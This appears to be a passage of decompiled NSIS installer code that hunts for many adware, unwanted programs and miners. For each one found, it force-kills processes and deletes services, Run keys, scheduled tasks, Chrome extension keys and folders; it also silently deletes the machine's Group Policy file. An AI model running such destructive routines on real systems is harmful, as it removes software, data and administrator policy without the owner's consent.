$PLUGINSDIR\nsExec.dll ExecToStack DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run comowin RMDir /r /REBOOTOK "$PROGRAMFILES\maintenance software" label_2357: IfFileExists "$DESKTOP\World of Books - Áåñïëàòíûé Ìèð Êíèã.url" 0 label_2359 Delete "$DESKTOP\World of Books - Áåñïëàòíûé Ìèð Êíèã.url" label_2359: IfFileExists $LOCALAPPDATA\DailyWiki 0 label_2361 RMDir /r /REBOOTOK $LOCALAPPDATA\DailyWiki label_2361: IfFileExists $APPDATA\DailyWiki\DailyWiki.exe 0 label_2369 nsExec::Exec "cmd /k taskkill /IM DailyWiki.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM DailyWiki.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run DailyWiki RMDir /r /REBOOTOK $APPDATA\DailyWiki label_2369: IfFileExists $LOCALAPPDATA\PushControl\launcher.exe 0 label_2382 nsExec::Exec "cmd /k taskkill /IM launcher.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM launcher.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM stub.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM stub.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run PushControl RMDir /r /REBOOTOK $LOCALAPPDATA\PushControl label_2382: IfFileExists $DESKTOP\EasyHotspot.lnk 0 label_2384 Delete $DESKTOP\EasyHotspot.lnk label_2384: IfFileExists $PROGRAMFILES\EasyHotspot\EasyHotspot.exe 0 label_2404 nsExec::Exec "cmd /k taskkill /IM EasyHotspot.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM EasyHotspot.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM idsccom_XVI.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM idsccom_XVI.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM idscservice.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM idscservice.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce IDSCPRODUCT DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run EasyHotspot DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run IDSCCOMXVI RMDir /r /REBOOTOK $PROGRAMFILES\EasyHotspot label_2404: IfFileExists $APPDATA\BetterViewer\BetterViewer.exe 0 label_2416 nsExec::Exec "cmd /k taskkill /IM BetterViewer.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM BetterViewer.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"BetterViewer$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"BetterViewer$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\BetterViewer label_2416: IfFileExists $LOCALAPPDATA\PPTAssist\notify.exe 0 label_2438 nsExec::Exec "cmd /k taskkill /IM notify.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM notify.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM assistupdate.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM assistupdate.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"PPTAssistantNotifyTask$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"PPTAssistantNotifyTask$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"PPTAssistantUpdateTask$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"PPTAssistantUpdateTask$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $LOCALAPPDATA\PPTAssist label_2438: IfFileExists $APPDATA\pptassist 0 label_2440 RMDir /r /REBOOTOK $APPDATA\pptassist label_2440: IfFileExists $DESKTOP\Ñïàðòà.url 0 label_2442 Delete $DESKTOP\Ñïàðòà.url label_2442: IfFileExists $PROGRAMFILES\hohobn* 0 label_2457 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\hohobn* label_2445: StrCmp $R1 "" label_2456 IfFileExists $PROGRAMFILES\$R1 0 label_2454 nsExec::Exec "cmd /k taskkill /IM $R1.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $R1.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run $R1 RMDir /r /REBOOTOK $PROGRAMFILES\$R1 label_2454: FindNext $0 $R1 Goto label_2445 label_2456: FindClose $0 label_2457: ClearErrors ReadRegStr $2 HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\Uninstall - imm" DisplayIcon IfErrors label_2471 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_2471 RMDir /r /REBOOTOK $2 label_2471: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ipjjmoaaiokdonnldckdhmhojapklmdi $0 IfErrors label_2475 DeleteRegKey HKLM Software\Google\Chrome\Extensions\ipjjmoaaiokdonnldckdhmhojapklmdi label_2475: IfFileExists $PROGRAMFILES\ttwifi\tiantianwifi.exe 0 label_2487 nsExec::Exec "cmd /k taskkill /IM tiantianwifi.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM tiantianwifi.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"ttwifi$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"ttwifi$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $PROGRAMFILES\ttwifi label_2487: IfFileExists "$DESKTOP\Royal Quest.url" 0 label_2489 Delete "$DESKTOP\Royal Quest.url" label_2489: IfFileExists "$DESKTOP\Êîíôëèêò. Èñêóññòâî Âîéíû.url" 0 label_2491 Delete "$DESKTOP\Êîíôëèêò. Èñêóññòâî Âîéíû.url" label_2491: IfFileExists $PROGRAMFILES\WinSvces\WinSvces\WinSvces.exe 0 label_2499 nsExec::Exec "cmd /k taskkill /IM WinSvces.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM WinSvces.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\WinSvces RMDir /r /REBOOTOK $PROGRAMFILES\WinSvces label_2499: IfFileExists $PROGRAMFILES\WinTsks\WinTsks\WinTsks.exe 0 label_2511 nsExec::Exec "cmd /k taskkill /IM WinTsks.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM WinTsks.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"WinTsks$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"WinTsks$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $PROGRAMFILES\WinTsks label_2511: ClearErrors ReadRegStr $2 HKLM SYSTEM\ControlSet001\services\BugreportW ImagePath IfErrors label_2526 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_2526 DeleteRegKey HKLM SYSTEM\ControlSet001\services\BugreportW RMDir /r /REBOOTOK $2 label_2526: IfFileExists "$DESKTOP\Âîéíû ïðåñòîëîâ.url" 0 label_2528 Delete "$DESKTOP\Âîéíû ïðåñòîëîâ.url" label_2528: IfFileExists "$DESKTOP\World of Tanks.url" 0 label_2530 Delete "$DESKTOP\World of Tanks.url" label_2530: IfFileExists "$DESKTOP\War Thunder.url" 0 label_2532 Delete "$DESKTOP\War Thunder.url" label_2532: ClearErrors ReadRegStr $2 HKLM SYSTEM\ControlSet001\services\SuperProServer ImagePath IfErrors label_2547 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_2547 DeleteRegKey HKLM SYSTEM\ControlSet001\services\SuperProServer Delete /REBOOTOK $2 label_2547: IfFileExists $PROGRAMFILES\badu 0 label_2563 nsExec::Exec "cmd /k taskkill /IM uc.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM uc.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM sys.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM sys.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run apphide DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run apphide2 DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run app DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run apphide RMDir /r /REBOOTOK $PROGRAMFILES\badu label_2563: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\ijepgjdjkdbopbnaopmlmobimmhjklhd $0 IfErrors label_2567 DeleteRegKey HKLM Software\Google\Chrome\Extensions\ijepgjdjkdbopbnaopmlmobimmhjklhd label_2567: IfFileExists $DESKTOP\Facebook.lnk 0 label_2569 Delete $DESKTOP\Facebook.lnk label_2569: IfFileExists $APPDATA\svrupg.exe 0 label_2577 nsExec::Exec "cmd /k taskkill /IM svrupg.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM svrupg.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\GoogleChromeUpSvc Delete /REBOOTOK $APPDATA\svrupg.exe label_2577: SetShellVarContext all IfFileExists $APPDATA\xifs\xifs.exe 0 label_2601 nsExec::Exec "cmd /k taskkill /IM xifs.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM xifs.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Donsoft.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Donsoft.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM MedTip.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM MedTip.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Zaam-Top.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Zaam-Top.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\xifs RMDir /r /REBOOTOK $APPDATA\xifs label_2601: IfFileExists $DESKTOP\simpliclean.lnk 0 label_2603 Delete $DESKTOP\simpliclean.lnk label_2603: IfFileExists "$DESKTOP\Îïòèìèçàöèÿ îäíèì ùåë÷êîì.lnk" 0 label_2605 Delete "$DESKTOP\Îïòèìèçàöèÿ îäíèì ùåë÷êîì.lnk" label_2605: IfFileExists "$DESKTOP\Launch One System Care.lnk" 0 label_2607 Delete "$DESKTOP\Launch One System Care.lnk" label_2607: IfFileExists "$DESKTOP\Driver Booster 3.lnk" 0 label_2609 Delete "$DESKTOP\Driver Booster 3.lnk" label_2609: IfFileExists "$DESKTOP\PC Clean Plus.lnk" 0 label_2611 Delete "$DESKTOP\PC Clean Plus.lnk" label_2611: IfFileExists $DESKTOP\Tv-Plug-In.lnk 0 label_2613 Delete $DESKTOP\Tv-Plug-In.lnk label_2613: IfFileExists $APPDATA\Quoteex\Quoteex.exe 0 label_2631 nsExec::Exec "cmd /k taskkill /IM Quoteex.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Quoteex.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Confax.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Confax.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Kincore.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Kincore.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\Quoteex RMDir /r /REBOOTOK $APPDATA\Quoteex label_2631: IfFileExists $DESKTOP\NetSpeed.exe.lnk 0 label_2633 Delete $DESKTOP\NetSpeed.exe.lnk label_2633: IfFileExists "$DESKTOP\Gîîglå Ñhrîmå.lnk" 0 label_2635 Delete "$DESKTOP\Gîîglå Ñhrîmå.lnk" label_2635: IfFileExists "$DESKTOP\Maxthon Cloud Browser.lnk" 0 label_2637 Delete "$DESKTOP\Maxthon Cloud Browser.lnk" label_2637: IfFileExists $APPDATA\Torrent_Search_PED 0 label_2658 nsExec::ExecToStack "schtasks /delete /tn $\"PED_Torrent_Search$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"PED_Torrent_Search$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\Torrent_Search_PED System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\GroupPolicy\Machine\Registry.pol 0 label_2651 Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\Registry.pol label_2651: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\GroupPolicy\Machine\Registry.pol 0 label_2658 Delete /REBOOTOK $SYSDIR\GroupPolicy\Machine\Registry.pol label_2658: IfFileExists $APPDATA\Utatity\Utatity.exe 0 label_2666 nsExec::Exec "cmd /k taskkill /IM Utatity.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Utatity.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\Utatity RMDir /r /REBOOTOK $APPDATA\Utatity label_2666: IfFileExists "$APPDATA\Logic Handler\set.exe" 0 label_2674 nsExec::Exec "cmd /k taskkill /IM set.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM set.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\backlh RMDir /r /REBOOTOK "$APPDATA\Logic Handler" label_2674: IfFileExists $APPDATA\ApppazmaL\ApppazmaL.exe 0 label_2682 nsExec::Exec "cmd /k taskkill /IM ApppazmaL.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ApppazmaL.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\ApppazmaL RMDir /r /REBOOTOK $APPDATA\ApppazmaL label_2682: IfFileExists $APPDATA\MoshouInput 0 label_2684 RMDir /r /REBOOTOK $APPDATA\MoshouInput label_2684: IfFileExists $APPDATA\conhost.exe 0 label_2692 nsExec::Exec "cmd /k taskkill /IM conhost.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM conhost.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run "conhost.exe -start" Delete /REBOOTOK $APPDATA\conhost.exe label_2692: IfFileExists $APPDATA\MoshouInput\Doubleing.exe 0 label_2705 nsExec::Exec "cmd /k taskkill /IM Doubleing.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Doubleing.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Rankdax.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Rankdax.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\Doubleing RMDir /r /REBOOTOK $APPDATA\Doubleing label_2705: IfFileExists $DESKTOP\MoneyBot.lnk 0 label_2707 Delete $DESKTOP\MoneyBot.lnk label_2707: IfFileExists "$DESKTOP\Advanced PC Care.lnk" 0 label_2709 Delete "$DESKTOP\Advanced PC Care.lnk" label_2709: IfFileExists $APPDATA\Lamzap\Lamzap.exe 0 label_2727 nsExec::Exec "cmd /k taskkill /IM Lamzap.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Lamzap.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM AirKeyhold.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM AirKeyhold.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM Mathis.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Mathis.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\Lamzap RMDir /r /REBOOTOK $APPDATA\Lamzap label_2727: IfFileExists $APPDATA\CloudPrinter\CloudPrinter.exe 0 label_2735 nsExec::Exec "cmd /k taskkill /IM CloudPrinter.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM CloudPrinter.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\CloudPrinter RMDir /r /REBOOTOK $APPDATA\CloudPrinter label_2735: IfFileExists "$DESKTOP\Èãðàòü! GameXP.lnk" 0 label_2737 Delete "$DESKTOP\Èãðàòü! GameXP.lnk" label_2737: IfFileExists $APPDATA\InstallChecker\InstallChecker.exe 0 label_2749 nsExec::Exec "cmd /k taskkill /IM InstallChecker.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM InstallChecker.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"InstallChecker$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"InstallChecker$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\InstallChecker label_2749: IfFileExists $APPDATA\fastboot.exe 0 label_2757 nsExec::Exec "cmd /k taskkill /IM fastboot.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM fastboot.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run fastboot Delete /REBOOTOK $APPDATA\fastboot.exe label_2757: IfFileExists $APPDATA\apptj.exe 0 label_2769 nsExec::Exec "cmd /k taskkill /IM apptj.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM apptj.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"app$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"app$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Delete /REBOOTOK $APPDATA\apptj.exe label_2769: IfFileExists $APPDATA\adb.exe 0 label_2781 nsExec::Exec "cmd /k taskkill /IM adb.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM adb.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"adb$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"adb$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack Delete /REBOOTOK $APPDATA\adb.exe label_2781: IfFileExists $APPDATA\RenewalService\Service.exe 0 label_2789 nsExec::Exec "cmd /k taskkill /IM Service.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Service.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\RenewalService RMDir /r /REBOOTOK $APPDATA\RenewalService label_2789: IfFileExists $DESKTOP\ttwifi.lnk 0 label_2791 Delete $DESKTOP\ttwifi.lnk label_2791: FunctionEnd Function func_2792 SetShellVarContext current ClearErrors ReadRegStr $2 HKLM SYSTEM\ControlSet001\services\ggbugreport ImagePath IfErrors label_2808 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_2808 DeleteRegKey HKLM SYSTEM\ControlSet001\services\ggbugreport RMDir /r /REBOOTOK $2 label_2808: IfFileExists $PROGRAMFILES\RelevantKnowledge\rlservice.exe 0 label_2816 nsExec::Exec "cmd /k taskkill /IM rlservice.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM rlservice.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\RelevantKnowledge RMDir /r /REBOOTOK $PROGRAMFILES\RelevantKnowledge label_2816: IfFileExists "$PROGRAMFILES\Checked List\CheckedListUninstall.exe" 0 label_2830 nsExec::Exec "cmd /k taskkill /IM updateCheckedList.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM updateCheckedList.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM utilCheckedList.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM utilCheckedList.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Checked List" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util Checked List" RMDir /r /REBOOTOK "$PROGRAMFILES\Checked List" label_2830: IfFileExists $PROGRAMFILES\Winsere\Winsere\Winsere.exe 0 label_2838 nsExec::Exec "cmd /k taskkill /IM Winsere.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Winsere.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\Winsere RMDir /r /REBOOTOK $PROGRAMFILES\Winsere label_2838: IfFileExists $PROGRAMFILES\onlysearch\onlysearch 0 label_2855 nsExec::Exec "cmd /k taskkill /IM onlysetup.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM onlysetup.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"Only-search$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Only-search$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Only-search Updater$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Only-search Updater$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $PROGRAMFILES\onlysearch label_2855: IfFileExists $PROGRAMFILES\WinTaske\WinTaske\WinTaske.exe 0 label_2867 nsExec::Exec "cmd /k taskkill /IM WinTaske.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM WinTaske.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::ExecToStack "schtasks /delete /tn $\"WinTaske$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"WinTaske$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $PROGRAMFILES\WinTaske label_2867: IfFileExists $LOCALAPPDATA\Birds\birds365.exe 0 label_2880 nsExec::Exec "cmd /k taskkill /IM birds365.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM birds365.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM ChatteringLory.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ChatteringLory.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Birds RMDir /r /REBOOTOK $LOCALAPPDATA\Birds label_2880: IfFileExists $LOCALAPPDATA\Birds365 0 label_2882 RMDir /r /REBOOTOK $LOCALAPPDATA\Birds365 label_2882: IfFileExists $APPDATA\cpuminer\cpm.exe 0 label_2890 nsExec::Exec "cmd /k taskkill /IM cpm.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM cpm.exe /f" ; CallInstDLL 